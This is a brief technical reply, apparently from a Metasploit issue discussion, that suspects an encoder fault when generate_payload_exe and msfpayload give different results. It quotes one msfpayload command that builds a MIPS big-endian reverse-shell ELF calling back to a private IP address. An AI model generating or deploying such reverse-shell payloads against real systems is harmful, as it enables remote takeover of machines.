I guess you're using generate_payload_exe to generate the payload, so the main difference would be which generate_payload_exe will use the encoded payload,  while msfpayload, used with an order like:

```
msfpayload linux/mipsbe/shell_reverse_tcp LPORT=4444 LHOST=192.168.1.136 X > /tmp/shell_reverse_mips.elf 
```

will use the payload.raw.... so atm my guess would be a problem with the encoder :\